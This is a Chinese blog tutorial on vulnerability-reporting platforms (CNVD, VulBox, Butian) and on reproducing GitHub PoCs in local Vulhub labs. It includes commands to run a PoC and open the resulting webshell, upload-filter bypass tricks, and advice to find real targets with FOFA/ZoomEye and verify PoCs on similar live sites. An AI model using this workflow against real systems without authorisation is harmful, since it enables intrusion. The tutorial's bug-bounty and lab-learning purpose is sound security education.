  • 官网地址https://www.cnvd.org.cn

  • 主管单位:中国国家互联网应急中心(CNCERT)

CNVD 是中国官方的风险点收集与通报平台,作用类似于国际的 CVE 系统,但更加本地化,更贴近中国厂商的软件和使用生态。

它具备以下功能:

功能 说明
风险点收录 收集国内外各种软硬件系统的安全风险点信息
提交风险点 安全研究员和厂商可以提交未公开风险点
通报预警 对重要风险点进行分级通报、修复建议
风险点库查询 提供按关键词、组件、厂商、时间等搜索风险点的功能
提交积分奖励 提交风险点可获得"风险点积分",用于排名与评优

8.1 CNVD 与 CVE 区别对比

比较项 CNVD CVE
覆盖范围 覆盖国内外,更注重国产系统 覆盖国际主流产品
编号规则 CNVD-年份-序列号(如 CNVD-2022-10201) CVE-年份-编号(如 CVE-2023-4567)
提交方式 注册账号后可提交风险点 需通过 CNA 或 MITRE 提交
是否公开所有风险点 否,有些是未公开风险点 是,公开数据库

CNVD 编号结构

示例:CNVD-2022-10201

  • CNVD:中国风险点库编号

  • 2022:年份

  • 10201:编号(每年单独编号)

有些风险点只有 CNVD 编号,没有 CVE,是国内独家披露的风险点。

8.2 如何使用 CNVD 做风险点研究?

1)查询风险点信息

打开官网首页 👉 https://www.cnvd.org.cn

使用 关键词、厂商、组件名、编号 等搜索:

  • 关键词:ThinkPHP / WordPress / Redis

  • 风险点编号:CNVD-2021-30102

  • 厂商/组件:泛微 e-office、泛微OA、用友等

示例结果内容:

  • 风险点名称

  • 风险点等级(高危/中危)

  • 影响范围

  • 修复建议

  • 公开时间

  • 风险点描述

2)查找可复现风险点(含 POC)

部分 CNVD 风险点信息会附带分析文章和 POC 链接,你可以根据标题关键词去 GitHub 搜索该风险点 POC。

例如:

  • CNVD-2021-30102 泛微OA 任意文件上传

  • GitHub 搜索:泛微 CNVD-2021-30102 POC

3)提交风险点

  1. 注册账号:https://www.cnvd.org.cn/member/login.htm

  2. 登录后台提交风险点信息

  3. 等待审核和编号分配

  4. 审核通过后会获得风险点积分

4)配合工具自动检测 CNVD 风险点

可以结合以下平台或工具,实现批量检测

  • fofa + cnvd 组合(资产搜索 + 风险点检测)

  • nuclei 的 CNVD POC 模板(.yaml 格式)

  • **洞鉴/鹰图/Pocsuite3**等集成平台检测 CNVD 风险点

8.3 常见场景应用

场景 说明
Web 渗透前的信息收集 搜索目标使用的 CMS 是否有 CNVD 风险点
SRC 白帽子投稿 发现站点存在 CNVD 厂商风险点,可投稿
复现写博客 根据 CNVD 风险点编号构建复现环境、编写 POC
POC 自动化平台 用 CNVD 标记风险点并写 yaml 模板
风险点报告写作 引用 CNVD 编号提升报告专业性

8.4 配合平台/工具

平台 用法
CNVD 官网 查询风险点、提交风险点
Seebug 查询 CNVD + POC
GitHub 搜索 POC(搜索"CNVD-xxxx")
FOFA、ZoomEye 搜集可能受影响目标
Pocsuite3 编写 CNVD PoC 模块
Nuclei 编写 yaml 模板进行批量检测

8.5 小结

关键词 内容
平台性质 官方风险点共享平台(国家级)
涵盖范围 国内外软硬件系统,偏重国产系统
编号格式 CNVD-年-编号
核心价值 研究国内风险点、参与风险点提交
实战用法 复现、PoC 编写、检测、提交奖励

九、风险点盒子

  • 名称:风险点盒子(VulBox)

  • 网址https://www.vulbox.com

  • 运营方:知道创宇(国内安全公司)

  • 性质:白帽子风险点众测平台 + 企业安全合作平台

风险点盒子是什么?

风险点盒子是一个连接:

  • 白帽子(你)

  • 企业(厂商)

  • 平台(知道创宇)

三者之间的风险点收集、披露、奖励机制平台。

可以:

功能 描述
提交风险点 对目标站点提交安全风险点(XSS、SQL注入、逻辑风险点等)
获取积分 审核通过后获得安全积分
获得奖励 某些风险点可能得到现金或实物奖励
企业定向众测 平台分配目标给白帽子做深度测试
排名与认证 累积积分可进入榜单,增加影响力

9.1 注册与使用流程

注册流程

  • 访问官网:https://www.vulbox.com

  • 使用手机号或邮箱注册账号

  • 完善个人信息和认证(建议上传真实能力信息,便于定向众测邀请)

提交风险点流程

  • 登录后台 ➜ 点击"提交风险点"

  • 填写目标站点、风险点描述、风险点类型、危害等级、复现步骤等

  • 可上传截图、复现视频、PoC 链接等

  • 提交后等待审核,审核成功会收到积分/奖励

风险点​​​​​​​类型支持

类型 说明
XSS 跨站脚本 常见于搜索、评论等页面
SQL 注入 登录页、参数注入
任意文件读取 可读取 config、passwd 等文件
命令执行 RCE 高危风险点,可控制服务器
逻辑风险点 例如越权、任意密码重置
信息泄露 例如 Git 泄露、接口暴露
SSRF / CSRF / XXE 较高级别风险点

9.2 风险点盒子优势

面向厂商 SRC

风险点盒子对接了很多大型平台,如:

  • 联通、移动、华为

  • 招商银行、支付宝

  • 各类政企系统

  • 中小厂商(企业众测)

平台负责将风险点分发、审核、通报给厂商,并推动修复和奖励发放。

支持公开 & 私密提交

  • 公开提交:风险点审核通过后可展示在风险点广场

  • 私密提交:只提交给厂商和平台,外部不可见

  • 可匿名提交:避免打草惊蛇

众测任务邀请制

技术好、有提交记录后,会被平台邀请:

  • 参与高价值站点的定向测试

  • 按任务提交风险点,按风险点奖励现金/积分

9.3 白帽子常用技巧

如何发现风险点?

  • 目标:厂商登录页、搜索、注册、上传等功能点

  • 工具:BurpSuite、dirsearch、sqlmap、F12+调试

  • 常用风险点类型:XSS、逻辑风险点、路径遍历、任意文件下载

如何提交让平台快速通过?

  • 写明:

    • 风险点入口地址

    • 触发条件

    • 复现步骤

    • 危害描述

    • 建议修复措施

  • 附加截图、视频、PoC URL(更具可信度)

9.4 实战建议

适合做的实战项目:

  • 在 GitHub 搜索 CMS 框架(如:dedecms、discuz)搭建测试环境

  • 本地挖掘 XSS、SQL 注入、后台绕过风险点

  • 写成 PoC(参考之前讲的 PoC 编写方法)

  • 到风险点盒子找类似站点或厂商进行验证

  • 提交风险点,积累积分与实战经验

9.5 小结

维度 内容
性质 国内白帽众测平台,由知道创宇运营
使用目的 提交风险点、积累经验、获取奖励
优势 厂商多、众测活动频繁、奖励机制完善
提交技巧 精准复现、图文并茂、突出危害
实战建议 从低危 XSS、路径遍历、逻辑绕过开始练手

十、补天

项目 说明
平台名称 补天风险点响应平台
官网地址 https://www.butian.net
创建时间 2013 年左右
运营方 360 公司(奇虎360)
性质 国内权威风险点提交/响应/众测平台
用户群体 白帽子、安全研究员、安全厂商、政企单位

补天平台是什么?

补天平台是一个白帽子与厂商之间的"中间桥梁",由奇虎360维护,用于接收白帽子提交的风险点并转发给相关厂商,促进风险点修复,并给予积分或奖励。

10.1 补天平台主要功能

模块 功能说明
风险点提交 提交 XSS、SQL注入、RCE、未授权访问等风险点
厂商合作 对接了大量厂商(如政府网站、银行、互联网公司)
赏金计划 部分厂商设置风险点赏金(¥现金奖励)
众测任务 官方分配测试目标,按结果计分或计钱
积分体系 提交风险点获得"白帽积分"
排名体系 有周榜、月榜、年榜,优秀者可获得认证

10.2 支持的风险点类型

类型 描述
XSS 跨站脚本 输入框未过滤,执行恶意脚本
SQL 注入 数据库查询接口存在注入风险
任意文件上传 可上传木马控制服务器
任意文件读取 读取配置、数据库密码等敏感信息
命令执行 RCE 远程执行系统命令
SSRF / XXE / CSRF 服务端请求伪造、XML注入等
信息泄露 源码泄露、后台泄露、弱口令

10.3 挖洞 + 提交流程

  • 使用 FOFA/ZoomEye 找目标(可选定厂商)

  • 识别 CMS/系统(如 dedecms、phpcms、thinkphp)

  • 使用 BurpSuite、手工 + 工具挖洞

  • 编写复现文档(截图 + 步骤 + POC)

  • 登录补天平台提交

  • 审核通过 ➜ 积分奖励

10.4 练习路径

  • 本地搭建风险点环境(如 ThinkPHP、dedecms)

  • 复现已知风险点(CVE/CNVD)

  • 编写风险点分析 + POC

  • FOFA/ZoomEye 扫描使用目标厂商

  • 在补天提交真实可复现的低危风险点(如 XSS)

  • 慢慢积累积分,提升排名

10.5 小结

内容 说明
平台定位 国内老牌风险点响应平台
目标用户 白帽子、SRC从业者、安全爱好者
提交类型 XSS、SQL注入、RCE、逻辑风险点等
奖励方式 积分、现金、证书、荣誉
推荐方式 搭配风险点盒子、GitHub POC 实战使用

十一、github-poc 资源复现

  • POC(Proof of Concept):风险点的概念验证代码,用来复现风险点。

  • GitHub 上聚集了世界各地安全研究员、红队、白帽子上传的 风险点 POCEXP(利用代码) 和复现环境。

  • 有大量关于 WordPress、ThinkPHP、dedecms、phpcms、Struts2、Weblogic、Spring 等的 POC。

11.1 GitHub 上 POC 搜索方法

关键词搜索技巧(举例):

bash 复制代码
ThinkPHP CVE poc
dedecms file upload poc
WordPress RCE github
"phpcms" in:description
CVE-2023 in:title

推荐结合使用的关键词:

风险点组件 常见关键词
ThinkPHP thinkphp poc, thinkphp rce
WordPress wordpress plugin vuln
dedecms dedecms upload, dedecms XSS
phpcms phpcms poc
Discuz discuz xss, discuz csrf
CVE CVE-2021-XXXX poc

推荐仓库(通用集合类):

11.2 POC 复现完整流程

以 GitHub 搜到的一个 dedecms 任意文件上传风险点 POC 为例:

步骤 1:搭建环境

使用 **vulhubdocker、**或自己搭建风险点 CMS 环境。

bash 复制代码
# 如果是 Vulhub 支持的风险点
git clone https://github.com/vulhub/vulhub
cd dedecms/xxx
docker-compose up -d

或自己去官网下 dedecms v5.7,配合 phpstudy 或宝塔本地部署。

步骤 2:获取 POC

在 GitHub 搜索:

bash 复制代码
dedecms upload poc

找到一个 POC 仓库,如:

bash 复制代码
https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1

下载或者复制其中的 POC 脚本,例如 poc.py

步骤 3:阅读 POC 原理

通常 POC 包含:

模块 内容
请求地址 哪个接口存在风险点(如 /uploads/a.php
请求方式 POST/GET/文件上传
参数格式 参数名、文件字段名(如 file, upload[]
响应判断 如何判断风险点是否成功(如返回 200 且链接可访问)

需要掌握 HTTP 抓包知识,能用 BurpSuite 重现请求。

步骤 4:运行 POC

bash 复制代码
python3 poc.py http://127.0.0.1/dedecms/
  • 查看控制台是否提示上传成功

  • 查看返回的 Webshell 链接

  • 使用浏览器/curl 打开,确认是否 RCE 成功

步骤 5:分析风险点 原理(进阶)

掌握风险点利用条件:

  • 文件类型限制绕过?

  • 后缀双写?(如 .php;.jpg

  • 文件内容绕过?(加 GIF 头?)

  • 后台未鉴权上传接口?

  • 文件是否可被访问?

11.3 从 GitHub 挖掘优质 POC 的技巧

方法 技巧
看 Star 数 超过 100 星,一般质量不错
看更新时间 越新越说明适配当前系统
看 issue 区 有没有人复现成功
看 Readme 有没有环境搭建说明和截图
搜索 CVE + PoC 如:CVE-2023-37960 poc
搜 Fofa/Zoomeye 结果验证 查是否有目标存在此风险点

11.4 辅助工具推荐

工具 作用
BurpSuite 抓包、重放 POC 请求
Docker 快速搭建测试环境
FOFA 搜索真实风险点目标
Nmap + Nuclei 指纹识别 + 批量扫描 POC
Python/requests 编写自己的 poc 脚本

11.5 示例复现案例

系统 风险点名称 GitHub 地址
ThinkPHP 5 RCE风险点 https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce
dedecms 5.7 任意文件上传 https://github.com/Medicean/VulApps/tree/master/d/dedecms_5_7_1
WordPress 插件文件上传风险点 https://github.com/1N3/Wordpress-Exploit-Framework
phpcms 后台 getshell https://github.com/Angus-x/phpcmsv9

11.6 小结

bash 复制代码
graph TD
A[GitHub 搜索风险点 PoC] --> B[分析风险点原理]
B --> C[搭建环境 Vulhub/Docker]
C --> D[运行 POC 脚本]
D --> E[复现成功]
E --> F[总结报告/投稿平台]
相关推荐
liangjiao_shou35 分钟前
安全生产例题
安全
恒拓高科WorkPlus1 小时前
安全,稳定可靠的政企即时通讯数字化平台
人工智能·安全
small_white_robot9 小时前
Tomcat- AJP协议文件读取/命令执行漏洞(幽灵猫复现)详细步骤
java·linux·网络·安全·web安全·网络安全·tomcat
Lingxw_w10 小时前
【网络安全】——Modbus协议详解:工业通信的“通用语言”
网络·安全
独行soc12 小时前
2025年渗透测试面试题总结-匿名[校招]安全服务工程师(题目+回答)
linux·python·安全·web安全·面试·职场和发展·渗透测试
IT信息技术学习圈14 小时前
OpenAI大模型不听人类指令事件的技术分析与安全影响
人工智能·安全
AORO_BEIDOU15 小时前
三防平板科普:有什么特殊功能?应用在什么场景?
网络·5g·安全·电脑·信息与通信
Hello.Reader15 小时前
redis-py 在 Python 中连接与使用 Redis
网络协议·安全·ssl
半个西瓜.16 小时前
JWT安全:假密钥.【签名随便写实现越权绕过.】
网络·安全·web安全·网络安全·安全威胁分析
ks胤墨16 小时前
远程办公时代macOS访问解决方案:兼顾效率提升与安全防护的实用架构指南
安全·macos·架构